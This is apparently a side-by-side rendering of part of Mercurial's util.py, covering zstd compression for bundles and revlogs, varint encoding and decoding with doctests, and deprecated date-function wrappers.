3796 z = zstd.ZstdCompressor(level=level).compressobj()
3796 z = zstd.ZstdCompressor(level=level).compressobj()
3797 for chunk in it:
3797 for chunk in it:
3798 data = z.compress(chunk)
3798 data = z.compress(chunk)
3799 if data:
3799 if data:
3800 yield data
3800 yield data
3801
3801
3802 yield z.flush()
3802 yield z.flush()
3803
3803
3804 def decompressorreader(self, fh):
3804 def decompressorreader(self, fh):
3805 zstd = self._module
3805 zstd = self._module
3806 dctx = zstd.ZstdDecompressor()
3806 dctx = zstd.ZstdDecompressor()
3807 return chunkbuffer(dctx.read_from(fh))
3807 return chunkbuffer(dctx.read_from(fh))
3808
3808
3809 class zstdrevlogcompressor(object):
3809 class zstdrevlogcompressor(object):
3810 def __init__(self, zstd, level=3):
3810 def __init__(self, zstd, level=3):
3811 # Writing the content size adds a few bytes to the output. However,
3811 # Writing the content size adds a few bytes to the output. However,
3812 # it allows decompression to be more optimal since we can
3812 # it allows decompression to be more optimal since we can
3813 # pre-allocate a buffer to hold the result.
3813 # pre-allocate a buffer to hold the result.
3814 self._cctx = zstd.ZstdCompressor(level=level,
3814 self._cctx = zstd.ZstdCompressor(level=level,
3815 write_content_size=True)
3815 write_content_size=True)
3816 self._dctx = zstd.ZstdDecompressor()
3816 self._dctx = zstd.ZstdDecompressor()
3817 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3817 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3818 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3818 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3819
3819
3820 def compress(self, data):
3820 def compress(self, data):
3821 insize = len(data)
3821 insize = len(data)
3822 # Caller handles empty input case.
3822 # Caller handles empty input case.
3823 assert insize > 0
3823 assert insize > 0
3824
3824
3825 if insize < 50:
3825 if insize < 50:
3826 return None
3826 return None
3827
3827
3828 elif insize <= 1000000:
3828 elif insize <= 1000000:
3829 compressed = self._cctx.compress(data)
3829 compressed = self._cctx.compress(data)
3830 if len(compressed) < insize:
3830 if len(compressed) < insize:
3831 return compressed
3831 return compressed
3832 return None
3832 return None
3833 else:
3833 else:
3834 z = self._cctx.compressobj()
3834 z = self._cctx.compressobj()
3835 chunks = []
3835 chunks = []
3836 pos = 0
3836 pos = 0
3837 while pos < insize:
3837 while pos < insize:
3838 pos2 = pos + self._compinsize
3838 pos2 = pos + self._compinsize
3839 chunk = z.compress(data[pos:pos2])
3839 chunk = z.compress(data[pos:pos2])
3840 if chunk:
3840 if chunk:
3841 chunks.append(chunk)
3841 chunks.append(chunk)
3842 pos = pos2
3842 pos = pos2
3843 chunks.append(z.flush())
3843 chunks.append(z.flush())
3844
3844
3845 if sum(map(len, chunks)) < insize:
3845 if sum(map(len, chunks)) < insize:
3846 return ''.join(chunks)
3846 return ''.join(chunks)
3847 return None
3847 return None
3848
3848
3849 def decompress(self, data):
3849 def decompress(self, data):
3850 insize = len(data)
3850 insize = len(data)
3851
3851
3852 try:
3852 try:
3853 # This was measured to be faster than other streaming
3853 # This was measured to be faster than other streaming
3854 # decompressors.
3854 # decompressors.
3855 dobj = self._dctx.decompressobj()
3855 dobj = self._dctx.decompressobj()
3856 chunks = []
3856 chunks = []
3857 pos = 0
3857 pos = 0
3858 while pos < insize:
3858 while pos < insize:
3859 pos2 = pos + self._decompinsize
3859 pos2 = pos + self._decompinsize
3860 chunk = dobj.decompress(data[pos:pos2])
3860 chunk = dobj.decompress(data[pos:pos2])
3861 if chunk:
3861 if chunk:
3862 chunks.append(chunk)
3862 chunks.append(chunk)
3863 pos = pos2
3863 pos = pos2
3864 # Frame should be exhausted, so no finish() API.
3864 # Frame should be exhausted, so no finish() API.
3865
3865
3866 return ''.join(chunks)
3866 return ''.join(chunks)
3867 except Exception as e:
3867 except Exception as e:
3868 raise error.RevlogError(_('revlog decompress error: %s') %
3868 raise error.RevlogError(_('revlog decompress error: %s') %
3869 forcebytestr(e))
3869 forcebytestr(e))
3870
3870
3871 def revlogcompressor(self, opts=None):
3871 def revlogcompressor(self, opts=None):
3872 opts = opts or {}
3872 opts = opts or {}
3873 return self.zstdrevlogcompressor(self._module,
3873 return self.zstdrevlogcompressor(self._module,
3874 level=opts.get('level', 3))
3874 level=opts.get('level', 3))
3875
3875
3876 compengines.register(_zstdengine())
3876 compengines.register(_zstdengine())
3877
3877
3878 def bundlecompressiontopics():
3878 def bundlecompressiontopics():
3879 """Obtains a list of available bundle compressions for use in help."""
3879 """Obtains a list of available bundle compressions for use in help."""
3880 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3880 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3881 items = {}
3881 items = {}
3882
3882
3883 # We need to format the docstring. So use a dummy object/type to hold it
3883 # We need to format the docstring. So use a dummy object/type to hold it
3884 # rather than mutating the original.
3884 # rather than mutating the original.
3885 class docobject(object):
3885 class docobject(object):
3886 pass
3886 pass
3887
3887
3888 for name in compengines:
3888 for name in compengines:
3889 engine = compengines[name]
3889 engine = compengines[name]
3890
3890
3891 if not engine.available():
3891 if not engine.available():
3892 continue
3892 continue
3893
3893
3894 bt = engine.bundletype()
3894 bt = engine.bundletype()
3895 if not bt or not bt[0]:
3895 if not bt or not bt[0]:
3896 continue
3896 continue
3897
3897
3898 doc = pycompat.sysstr('``%s``\n %s') % (
3898 doc = pycompat.sysstr('``%s``\n %s') % (
3899 bt[0], engine.bundletype.__doc__)
3899 bt[0], engine.bundletype.__doc__)
3900
3900
3901 value = docobject()
3901 value = docobject()
3902 value.__doc__ = doc
3902 value.__doc__ = doc
3903 value._origdoc = engine.bundletype.__doc__
3903 value._origdoc = engine.bundletype.__doc__
3904 value._origfunc = engine.bundletype
3904 value._origfunc = engine.bundletype
3905
3905
3906 items[bt[0]] = value
3906 items[bt[0]] = value
3907
3907
3908 return items
3908 return items
3909
3909
3910 i18nfunctions = bundlecompressiontopics().values()
3910 i18nfunctions = bundlecompressiontopics().values()
3911
3911
3912 # convenient shortcut
3912 # convenient shortcut
3913 dst = debugstacktrace
3913 dst = debugstacktrace
3914
3914
3915 def safename(f, tag, ctx, others=None):
3915 def safename(f, tag, ctx, others=None):
3916 """
3916 """
3917 Generate a name that it is safe to rename f to in the given context.
3917 Generate a name that it is safe to rename f to in the given context.
3918
3918
3919 f: filename to rename
3919 f: filename to rename
3920 tag: a string tag that will be included in the new name
3920 tag: a string tag that will be included in the new name
3921 ctx: a context, in which the new name must not exist
3921 ctx: a context, in which the new name must not exist
3922 others: a set of other filenames that the new name must not be in
3922 others: a set of other filenames that the new name must not be in
3923
3923
3924 Returns a file name of the form oldname~tag[~number] which does not exist
3924 Returns a file name of the form oldname~tag[~number] which does not exist
3925 in the provided context and is not in the set of other names.
3925 in the provided context and is not in the set of other names.
3926 """
3926 """
3927 if others is None:
3927 if others is None:
3928 others = set()
3928 others = set()
3929
3929
3930 fn = '%s~%s' % (f, tag)
3930 fn = '%s~%s' % (f, tag)
3931 if fn not in ctx and fn not in others:
3931 if fn not in ctx and fn not in others:
3932 return fn
3932 return fn
3933 for n in itertools.count(1):
3933 for n in itertools.count(1):
3934 fn = '%s~%s~%s' % (f, tag, n)
3934 fn = '%s~%s~%s' % (f, tag, n)
3935 if fn not in ctx and fn not in others:
3935 if fn not in ctx and fn not in others:
3936 return fn
3936 return fn
3937
3937
3938 def readexactly(stream, n):
3938 def readexactly(stream, n):
3939 '''read n bytes from stream.read and abort if less was available'''
3939 '''read n bytes from stream.read and abort if less was available'''
3940 s = stream.read(n)
3940 s = stream.read(n)
3941 if len(s) < n:
3941 if len(s) < n:
3942 raise error.Abort(_("stream ended unexpectedly"
3942 raise error.Abort(_("stream ended unexpectedly"
3943 " (got %d bytes, expected %d)")
3943 " (got %d bytes, expected %d)")
3944 % (len(s), n))
3944 % (len(s), n))
3945 return s
3945 return s
3946
3946
3947 def uvarintencode(value):
3947 def uvarintencode(value):
3948 """Encode an unsigned integer value to a varint.
3948 """Encode an unsigned integer value to a varint.
3949
3949
3950 A varint is a variable length integer of 1 or more bytes. Each byte
3950 A varint is a variable length integer of 1 or more bytes. Each byte
3951 except the last has the most significant bit set. The lower 7 bits of
3951 except the last has the most significant bit set. The lower 7 bits of
3952 each byte store the 2's complement representation, least significant group
3952 each byte store the 2's complement representation, least significant group
3953 first.
3953 first.
3954
3954
3955 >>> uvarintencode(0)
3955 >>> uvarintencode(0)
3956 '\\x00'
3956 '\\x00'
3957 >>> uvarintencode(1)
3957 >>> uvarintencode(1)
3958 '\\x01'
3958 '\\x01'
3959 >>> uvarintencode(127)
3959 >>> uvarintencode(127)
3960 '\\x7f'
3960 '\\x7f'
3961 >>> uvarintencode(1337)
3961 >>> uvarintencode(1337)
3962 '\\xb9\\n'
3962 '\\xb9\\n'
3963 >>> uvarintencode(65536)
3963 >>> uvarintencode(65536)
3964 '\\x80\\x80\\x04'
3964 '\\x80\\x80\\x04'
3965 >>> uvarintencode(-1)
3965 >>> uvarintencode(-1)
3966 Traceback (most recent call last):
3966 Traceback (most recent call last):
3967 ...
3967 ...
3968 ProgrammingError: negative value for uvarint: -1
3968 ProgrammingError: negative value for uvarint: -1
3969 """
3969 """
3970 if value < 0:
3970 if value < 0:
3971 raise error.ProgrammingError('negative value for uvarint: %d'
3971 raise error.ProgrammingError('negative value for uvarint: %d'
3972 % value)
3972 % value)
3973 bits = value & 0x7f
3973 bits = value & 0x7f
3974 value >>= 7
3974 value >>= 7
3975 bytes = []
3975 bytes = []
3976 while value:
3976 while value:
3977 bytes.append(pycompat.bytechr(0x80 | bits))
3977 bytes.append(pycompat.bytechr(0x80 | bits))
3978 bits = value & 0x7f
3978 bits = value & 0x7f
3979 value >>= 7
3979 value >>= 7
3980 bytes.append(pycompat.bytechr(bits))
3980 bytes.append(pycompat.bytechr(bits))
3981
3981
3982 return ''.join(bytes)
3982 return ''.join(bytes)
3983
3983
3984 def uvarintdecodestream(fh):
3984 def uvarintdecodestream(fh):
3985 """Decode an unsigned variable length integer from a stream.
3985 """Decode an unsigned variable length integer from a stream.
3986
3986
3987 The passed argument is anything that has a ``.read(N)`` method.
3987 The passed argument is anything that has a ``.read(N)`` method.
3988
3988
3989 >>> try:
3989 >>> try:
3990 ... from StringIO import StringIO as BytesIO
3990 ... from StringIO import StringIO as BytesIO
3991 ... except ImportError:
3991 ... except ImportError:
3992 ... from io import BytesIO
3992 ... from io import BytesIO
3993 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3993 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3994 0
3994 0
3995 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3995 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3996 1
3996 1
3997 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3997 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3998 127
3998 127
3999 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3999 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
4000 1337
4000 1337
4001 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
4001 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
4002 65536
4002 65536
4003 >>> uvarintdecodestream(BytesIO(b'\\x80'))
4003 >>> uvarintdecodestream(BytesIO(b'\\x80'))
4004 Traceback (most recent call last):
4004 Traceback (most recent call last):
4005 ...
4005 ...
4006 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
4006 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
4007 """
4007 """
4008 result = 0
4008 result = 0
4009 shift = 0
4009 shift = 0
4010 while True:
4010 while True:
4011 byte = ord(readexactly(fh, 1))
4011 byte = ord(readexactly(fh, 1))
4012 result |= ((byte & 0x7f) << shift)
4012 result |= ((byte & 0x7f) << shift)
4013 if not (byte & 0x80):
4013 if not (byte & 0x80):
4014 return result
4014 return result
4015 shift += 7
4015 shift += 7
4016
4016
4017 ###
4017 ###
4018 # Deprecation warnings for util.py splitting
4018 # Deprecation warnings for util.py splitting
4019 ###
4019 ###
4020
4020
4021 defaultdateformats = dateutil.defaultdateformats
4021 defaultdateformats = dateutil.defaultdateformats
4022
4022
4023 extendeddateformats = dateutil.extendeddateformats
4023 extendeddateformats = dateutil.extendeddateformats
4024
4024
4025 def makedate(*args, **kwargs):
4025 def makedate(*args, **kwargs):
4026 msg = ("'util.makedate' is deprecated, "
4026 msg = ("'util.makedate' is deprecated, "
4027 "use 'utils.dateutil.makedate'")
4027 "use 'utils.dateutil.makedate'")
4028 nouideprecwarn(msg, "4.6")
4028 nouideprecwarn(msg, "4.6")
4029 return dateutil.makedate(*args, **kwargs)
4029 return dateutil.makedate(*args, **kwargs)
4030
4030
4031 def datestr(*args, **kwargs):
4031 def datestr(*args, **kwargs):
4032 msg = ("'util.datestr' is deprecated, "
4032 msg = ("'util.datestr' is deprecated, "
4033 "use 'utils.dateutil.datestr'")
4033 "use 'utils.dateutil.datestr'")
4034 nouideprecwarn(msg, "4.6")
4034 nouideprecwarn(msg, "4.6")
4035 debugstacktrace()
4035 debugstacktrace()
4036 return dateutil.datestr(*args, **kwargs)
4036 return dateutil.datestr(*args, **kwargs)
4037
4037
4038 def shortdate(*args, **kwargs):
4038 def shortdate(*args, **kwargs):
4039 msg = ("'util.shortdate' is deprecated, "
4039 msg = ("'util.shortdate' is deprecated, "
4040 "use 'utils.dateutil.shortdate'")
4040 "use 'utils.dateutil.shortdate'")
4041 nouideprecwarn(msg, "4.6")
4041 nouideprecwarn(msg, "4.6")
4042 return dateutil.shortdate(*args, **kwargs)
4042 return dateutil.shortdate(*args, **kwargs)
4043
4043
4044 def parsetimezone(*args, **kwargs):
4044 def parsetimezone(*args, **kwargs):
4045 msg = ("'util.parsetimezone' is deprecated, "
4045 msg = ("'util.parsetimezone' is deprecated, "
4046 "use 'utils.dateutil.parsetimezone'")
4046 "use 'utils.dateutil.parsetimezone'")
4047 nouideprecwarn(msg, "4.6")
4047 nouideprecwarn(msg, "4.6")
4048 return dateutil.parsetimezone(*args, **kwargs)
4048 return dateutil.parsetimezone(*args, **kwargs)
4049
4049
4050 def strdate(*args, **kwargs):
4050 def strdate(*args, **kwargs):
4051 msg = ("'util.strdate' is deprecated, "
4051 msg = ("'util.strdate' is deprecated, "
4052 "use 'utils.dateutil.strdate'")
4052 "use 'utils.dateutil.strdate'")
4053 nouideprecwarn(msg, "4.6")
4053 nouideprecwarn(msg, "4.6")
4054 return dateutil.strdate(*args, **kwargs)
4054 return dateutil.strdate(*args, **kwargs)
4055
4055
4056 def parsedate(*args, **kwargs):
4056 def parsedate(*args, **kwargs):
4057 msg = ("'util.parsedate' is deprecated, "
4057 msg = ("'util.parsedate' is deprecated, "
4058 "use 'utils.dateutil.parsedate'")
4058 "use 'utils.dateutil.parsedate'")
4059 nouideprecwarn(msg, "4.6")
4059 nouideprecwarn(msg, "4.6")
4060 return dateutil.parsedate(*args, **kwargs)
4060 return dateutil.parsedate(*args, **kwargs)
4061
4061
4062 def matchdate(*args, **kwargs):
4062 def matchdate(*args, **kwargs):
4063 msg = ("'util.matchdate' is deprecated, "
4063 msg = ("'util.matchdate' is deprecated, "
4064 "use 'utils.dateutil.matchdate'")
4064 "use 'utils.dateutil.matchdate'")
4065 nouideprecwarn(msg, "4.6")
4065 nouideprecwarn(msg, "4.6")
4066 return dateutil.matchdate(*args, **kwargs)
4066 return dateutil.matchdate(*args, **kwargs)
General Comments 0
You need to be logged in to leave comments. Login now